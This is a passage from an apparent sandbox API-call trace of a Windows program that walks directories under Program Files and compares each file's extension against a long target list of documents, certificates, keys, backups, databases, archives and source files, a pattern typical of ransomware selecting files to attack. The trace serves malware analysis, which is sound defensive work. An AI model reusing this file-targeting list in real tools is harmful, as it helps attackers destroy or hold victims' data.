(lpString1=".odm", lpString2=".exe") returned 1 [0090.698] lstrlenW (lpString=".odp") returned 4 [0090.698] lstrcmpiW (lpString1=".odp", lpString2=".exe") returned 1 [0090.698] lstrlenW (lpString=".ods") returned 4 [0090.698] lstrcmpiW (lpString1=".ods", lpString2=".exe") returned 1 [0090.698] lstrlenW (lpString=".oft") returned 4 [0090.698] lstrcmpiW (lpString1=".oft", lpString2=".exe") returned 1 [0090.698] lstrlenW (lpString=".one") returned 4 [0090.698] lstrcmpiW (lpString1=".one", lpString2=".exe") returned 1 [0090.698] lstrlenW (lpString=".onepkg") returned 7 [0090.698] lstrcmpiW (lpString1=".onepkg", lpString2="ard.exe") returned -1 [0090.698] lstrlenW (lpString=".onetoc2") returned 8 [0090.698] lstrcmpiW (lpString1=".onetoc2", lpString2="zard.exe") returned -1 [0090.698] lstrlenW (lpString=".opt") returned 4 [0090.698] lstrcmpiW (lpString1=".opt", lpString2=".exe") returned 1 [0090.698] lstrlenW (lpString=".oqy") returned 4 [0090.698] lstrcmpiW (lpString1=".oqy", lpString2=".exe") returned 1 [0090.698] lstrlenW (lpString=".orf") returned 4 [0090.698] lstrcmpiW (lpString1=".orf", lpString2=".exe") returned 1 [0090.698] lstrlenW (lpString=".p12") returned 4 [0090.698] lstrcmpiW (lpString1=".p12", lpString2=".exe") returned 1 [0090.698] lstrlenW (lpString=".p7b") returned 4 [0090.698] lstrcmpiW (lpString1=".p7b", lpString2=".exe") returned 1 [0090.698] lstrlenW (lpString=".p7c") returned 4 [0090.698] lstrcmpiW (lpString1=".p7c", lpString2=".exe") returned 1 [0090.698] lstrlenW (lpString=".pam") returned 4 [0090.699] lstrcmpiW (lpString1=".pam", lpString2=".exe") returned 1 [0090.699] lstrlenW (lpString=".pbm") returned 4 [0090.699] lstrcmpiW (lpString1=".pbm", lpString2=".exe") returned 1 [0090.699] lstrlenW (lpString=".pct") returned 4 [0090.699] lstrcmpiW (lpString1=".pct", lpString2=".exe") returned 1 [0090.699] lstrlenW (lpString=".pcx") returned 4 [0090.699] lstrcmpiW (lpString1=".pcx", lpString2=".exe") returned 1 [0090.699] lstrlenW (lpString=".pdd") returned 4 [0090.699] lstrcmpiW (lpString1=".pdd", lpString2=".exe") returned 1 [0090.699] lstrlenW (lpString=".pdf") returned 4 [0090.699] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0090.699] lstrlenW (lpString=".pdp") returned 4 [0090.699] lstrcmpiW (lpString1=".pdp", lpString2=".exe") returned 1 [0090.699] lstrlenW (lpString=".pef") returned 4 [0090.699] lstrcmpiW (lpString1=".pef", lpString2=".exe") returned 1 [0090.699] lstrlenW (lpString=".pem") returned 4 [0090.699] lstrcmpiW (lpString1=".pem", lpString2=".exe") returned 1 [0090.699] lstrlenW (lpString=".pff") returned 4 [0090.699] lstrcmpiW (lpString1=".pff", lpString2=".exe") returned 1 [0090.699] lstrlenW (lpString=".pfm") returned 4 [0090.699] lstrcmpiW (lpString1=".pfm", lpString2=".exe") returned 1 [0090.699] lstrlenW (lpString=".pfx") returned 4 [0090.699] lstrcmpiW (lpString1=".pfx", lpString2=".exe") returned 1 [0090.699] lstrlenW (lpString=".pgm") returned 4 [0090.699] lstrcmpiW (lpString1=".pgm", lpString2=".exe") returned 1 [0090.699] lstrlenW (lpString=".php") returned 4 [0090.700] lstrcmpiW (lpString1=".php", lpString2=".exe") returned 1 [0090.700] lstrlenW (lpString=".php3") returned 5 [0090.700] lstrcmpiW (lpString1=".php3", lpString2="d.exe") returned -1 [0090.700] lstrlenW (lpString=".php4") returned 5 [0090.700] lstrcmpiW (lpString1=".php4", lpString2="d.exe") returned -1 [0090.700] lstrlenW (lpString=".php5") returned 5 [0090.700] lstrcmpiW (lpString1=".php5", lpString2="d.exe") returned -1 [0090.700] lstrlenW (lpString=".phtml") returned 6 [0090.700] lstrcmpiW (lpString1=".phtml", lpString2="rd.exe") returned -1 [0090.700] lstrlenW (lpString=".pict") returned 5 [0090.700] lstrcmpiW (lpString1=".pict", lpString2="d.exe") returned -1 [0090.700] lstrlenW (lpString=".pl") returned 3 [0090.700] lstrcmpiW (lpString1=".pl", lpString2="exe") returned -1 [0090.700] lstrlenW (lpString=".pls") returned 4 [0090.700] lstrcmpiW (lpString1=".pls", lpString2=".exe") returned 1 [0090.700] lstrlenW (lpString=".pm") returned 3 [0090.700] lstrcmpiW (lpString1=".pm", lpString2="exe") returned -1 [0090.700] lstrlenW (lpString=".png") returned 4 [0090.700] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0090.700] lstrlenW (lpString=".pnm") returned 4 [0090.700] lstrcmpiW (lpString1=".pnm", lpString2=".exe") returned 1 [0090.700] lstrlenW (lpString=".pot") returned 4 [0090.700] lstrcmpiW (lpString1=".pot", lpString2=".exe") returned 1 [0090.700] lstrlenW (lpString=".potm") returned 5 [0090.701] lstrcmpiW (lpString1=".potm", lpString2="d.exe") returned -1 [0090.701] lstrlenW (lpString=".potx") returned 5 [0090.701] lstrcmpiW (lpString1=".potx", lpString2="d.exe") returned -1 [0090.701] lstrlenW (lpString=".ppa") returned 4 [0090.701] lstrcmpiW (lpString1=".ppa", lpString2=".exe") returned 1 [0090.701] lstrlenW (lpString=".ppam") returned 5 [0090.701] lstrcmpiW (lpString1=".ppam", lpString2="d.exe") returned -1 [0090.701] lstrlenW (lpString=".ppm") returned 4 [0090.701] lstrcmpiW (lpString1=".ppm", lpString2=".exe") returned 1 [0090.701] lstrlenW (lpString=".pps") returned 4 [0090.701] lstrcmpiW (lpString1=".pps", lpString2=".exe") returned 1 [0090.701] lstrlenW (lpString=".ppsm") returned 5 [0090.701] lstrcmpiW (lpString1=".ppsm", lpString2="d.exe") returned -1 [0090.701] lstrlenW (lpString=".ppt") returned 4 [0090.701] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0090.701] lstrlenW (lpString=".pptm") returned 5 [0090.701] lstrcmpiW (lpString1=".pptm", lpString2="d.exe") returned -1 [0090.701] lstrlenW (lpString=".pptx") returned 5 [0090.701] lstrcmpiW (lpString1=".pptx", lpString2="d.exe") returned -1 [0090.701] lstrlenW (lpString=".prn") returned 4 [0090.701] lstrcmpiW (lpString1=".prn", lpString2=".exe") returned 1 [0090.701] lstrlenW (lpString=".ps") returned 3 [0090.701] lstrcmpiW (lpString1=".ps", lpString2="exe") returned -1 [0090.701] lstrlenW (lpString=".psb") returned 4 [0090.701] lstrcmpiW (lpString1=".psb", lpString2=".exe") returned 1 [0090.701] lstrlenW (lpString=".psd") returned 4 [0090.701] lstrcmpiW (lpString1=".psd", lpString2=".exe") returned 1 [0090.702] lstrlenW (lpString=".pst") returned 4 [0090.702] lstrcmpiW (lpString1=".pst", lpString2=".exe") returned 1 [0090.702] lstrlenW (lpString=".ptx") returned 4 [0090.702] lstrcmpiW (lpString1=".ptx", lpString2=".exe") returned 1 [0090.702] lstrlenW (lpString=".pub") returned 4 [0090.702] lstrcmpiW (lpString1=".pub", lpString2=".exe") returned 1 [0090.702] lstrlenW (lpString=".pwm") returned 4 [0090.702] lstrcmpiW (lpString1=".pwm", lpString2=".exe") returned 1 [0090.702] lstrlenW (lpString=".pxr") returned 4 [0090.702] lstrcmpiW (lpString1=".pxr", lpString2=".exe") returned 1 [0090.702] lstrlenW (lpString=".py") returned 3 [0090.702] lstrcmpiW (lpString1=".py", lpString2="exe") returned -1 [0090.702] lstrlenW (lpString=".qt") returned 3 [0090.702] lstrcmpiW (lpString1=".qt", lpString2="exe") returned -1 [0090.702] lstrlenW (lpString=".r3d") returned 4 [0090.702] lstrcmpiW (lpString1=".r3d", lpString2=".exe") returned 1 [0090.702] lstrlenW (lpString=".raf") returned 4 [0090.702] lstrcmpiW (lpString1=".raf", lpString2=".exe") returned 1 [0090.702] lstrlenW (lpString=".rar") returned 4 [0090.702] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0090.702] lstrlenW (lpString=".raw") returned 4 [0090.702] lstrcmpiW (lpString1=".raw", lpString2=".exe") returned 1 [0090.702] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0635c03, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-CA", cAlternateFileName="")) returned 1 [0090.703] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4283e78 [0090.703] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\*", lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0635c03, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260690 [0090.704] FindNextFileW (in: hFindFile=0x4260690, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0635c03, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0090.704] FindNextFileW (in: hFindFile=0x4260690, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e126ecb, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e126ecb, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e126ecb, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0090.704] FindNextFileW (in: hFindFile=0x4260690, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e126ecb, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e126ecb, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e126ecb, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0090.704] FindClose (in: hFindFile=0x4260690 | out: hFindFile=0x4260690) returned 1 [0090.704] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0090.704] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06369df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0090.704] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4283e78 [0090.704] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\*", lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06369df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260610 [0090.705] FindNextFileW (in: hFindFile=0x4260610, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06369df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0090.705] FindNextFileW (in: hFindFile=0x4260610, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e100c60, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e100c60, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0090.705] FindNextFileW (in: hFindFile=0x4260610, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e100c60, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e100c60, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0090.705] FindClose (in: hFindFile=0x4260610 | out: hFindFile=0x4260610) returned 1 [0090.705] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0090.705] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0637839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fsdefinitions", cAlternateFileName="FSDEFI~1")) returned 1 [0090.705] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4283e78 [0090.705] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\*", lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0637839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260710 [0090.707] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0637839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0090.708] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0638633, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="auxpad", cAlternateFileName="")) returned 1 [0090.708] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4293e80 [0090.708] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\*", lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0638633, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42602d0 [0090.708] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0638633, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.708] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 1 [0090.708] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 0 [0090.709] FindClose (in: hFindFile=0x42602d0 | out: hFindFile=0x42602d0) returned 1 [0090.709] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0090.709] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="auxpad.xml", cAlternateFileName="")) returned 1 [0090.709] lstrlenW (lpString="auxpad.xml") returned 10 [0090.709] lstrlenW (lpString=".1cd") returned 4 [0090.709] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0090.709] lstrlenW (lpString=".3ds") returned 4 [0090.709] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1 [0090.709] lstrlenW (lpString=".3fr") returned 4 [0090.709] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1 [0090.709] lstrlenW (lpString=".3g2") returned 4 [0090.709] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1 [0090.709] lstrlenW (lpString=".3gp") returned 4 [0090.709] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1 [0090.709] lstrlenW (lpString=".7z") returned 3 [0090.710] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0090.710] lstrlenW (lpString=".accda") returned 6 [0090.710] lstrcmpiW (lpString1=".accda", lpString2="ad.xml") returned -1 [0090.710] lstrlenW (lpString=".accdb") returned 6 [0090.710] lstrcmpiW (lpString1=".accdb", lpString2="ad.xml") returned -1 [0090.710] lstrlenW (lpString=".accdc") returned 6 [0090.710] lstrcmpiW (lpString1=".accdc", lpString2="ad.xml") returned -1 [0090.710] lstrlenW (lpString=".accde") returned 6 [0090.710] lstrcmpiW (lpString1=".accde", lpString2="ad.xml") returned -1 [0090.710] lstrlenW (lpString=".accdt") returned 6 [0090.710] lstrcmpiW (lpString1=".accdt", lpString2="ad.xml") returned -1 [0090.710] lstrlenW (lpString=".accdw") returned 6 [0090.710] lstrcmpiW (lpString1=".accdw", lpString2="ad.xml") returned -1 [0090.710] lstrlenW (lpString=".adb") returned 4 [0090.710] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1 [0090.710] lstrlenW (lpString=".adp") returned 4 [0090.710] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1 [0090.710] lstrlenW (lpString=".ai") returned 3 [0090.710] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1 [0090.710] lstrlenW (lpString=".ai3") returned 4 [0090.710] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1 [0090.710] lstrlenW (lpString=".ai4") returned 4 [0090.711] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1 [0090.711] lstrlenW (lpString=".ai5") returned 4 [0090.711] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1 [0090.711] lstrlenW (lpString=".ai6") returned 4 [0090.711] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1 [0090.711] lstrlenW (lpString=".ai7") returned 4 [0090.711] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1 [0090.711] lstrlenW (lpString=".ai8") returned 4 [0090.711] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1 [0090.711] lstrlenW (lpString=".anim") returned 5 [0090.711] lstrcmpiW (lpString1=".anim", lpString2="d.xml") returned -1 [0090.711] lstrlenW (lpString=".arw") returned 4 [0090.711] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1 [0090.711] lstrlenW (lpString=".as") returned 3 [0090.711] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1 [0090.711] lstrlenW (lpString=".asa") returned 4 [0090.711] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1 [0090.711] lstrlenW (lpString=".asc") returned 4 [0090.711] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1 [0090.711] lstrlenW (lpString=".ascx") returned 5 [0090.711] lstrcmpiW (lpString1=".ascx", lpString2="d.xml") returned -1 [0090.711] lstrlenW (lpString=".asm") returned 4 [0090.711] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1 [0090.711] lstrlenW (lpString=".asmx") returned 5 [0090.711] lstrcmpiW (lpString1=".asmx", lpString2="d.xml") returned -1 [0090.712] lstrlenW (lpString=".asp") returned 4 [0090.712] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1 [0090.712] lstrlenW (lpString=".aspx") returned 5 [0090.712] lstrcmpiW (lpString1=".aspx", lpString2="d.xml") returned -1 [0090.712] lstrlenW (lpString=".asr") returned 4 [0090.712] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1 [0090.712] lstrlenW (lpString=".asx") returned 4 [0090.712] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1 [0090.712] lstrlenW (lpString=".avi") returned 4 [0090.712] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1 [0090.712] lstrlenW (lpString=".avs") returned 4 [0090.712] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1 [0090.712] lstrlenW (lpString=".backup") returned 7 [0090.712] lstrcmpiW (lpString1=".backup", lpString2="pad.xml") returned -1 [0090.712] lstrlenW (lpString=".bak") returned 4 [0090.712] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1 [0090.712] lstrlenW (lpString=".bay") returned 4 [0090.712] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1 [0090.712] lstrlenW (lpString=".bd") returned 3 [0090.712] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1 [0090.712] lstrlenW (lpString=".bin") returned 4 [0090.712] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1 [0090.712] lstrlenW (lpString=".bmp") returned 4 [0090.712] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1 [0090.712] lstrlenW (lpString=".bz2") returned 4 [0090.713] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0090.713] lstrlenW (lpString=".c") returned 2 [0090.713] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0090.713] lstrlenW (lpString=".cdr") returned 4 [0090.713] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1 [0090.713] lstrlenW (lpString=".cer") returned 4 [0090.713] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1 [0090.713] lstrlenW (lpString=".cf") returned 3 [0090.713] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1 [0090.713] lstrlenW (lpString=".cfc") returned 4 [0090.713] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1 [0090.713] lstrlenW (lpString=".cfm") returned 4 [0090.713] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1 [0090.713] lstrlenW (lpString=".cfml") returned 5 [0090.713] lstrcmpiW (lpString1=".cfml", lpString2="d.xml") returned -1 [0090.713] lstrlenW (lpString=".cfu") returned 4 [0090.713] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1 [0090.713] lstrlenW (lpString=".chm") returned 4 [0090.713] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1 [0090.713] lstrlenW (lpString=".cin") returned 4 [0090.713] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1 [0090.713] lstrlenW (lpString=".class") returned 6 [0090.713] lstrcmpiW (lpString1=".class", lpString2="ad.xml") returned -1 [0090.713] lstrlenW (lpString=".clx") returned 4 [0090.713] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1 [0090.713] lstrlenW (lpString=".config") returned 7 [0090.714] lstrcmpiW (lpString1=".config", lpString2="pad.xml") returned -1 [0090.714] lstrlenW (lpString=".cpp") returned 4 [0090.714] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1 [0090.714] lstrlenW (lpString=".cr2") returned 4 [0090.714] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1 [0090.714] lstrlenW (lpString=".crt") returned 4 [0090.714] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1 [0090.714] lstrlenW (lpString=".crw") returned 4 [0090.714] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1 [0090.714] lstrlenW (lpString=".cs") returned 3 [0090.714] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1 [0090.714] lstrlenW (lpString=".css") returned 4 [0090.714] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1 [0090.714] lstrlenW (lpString=".csv") returned 4 [0090.714] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1 [0090.714] lstrlenW (lpString=".cub") returned 4 [0090.714] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1 [0090.714] lstrlenW (lpString=".dae") returned 4 [0090.714] lstrcmpiW (lpString1=".dae", lpString2=".xml") 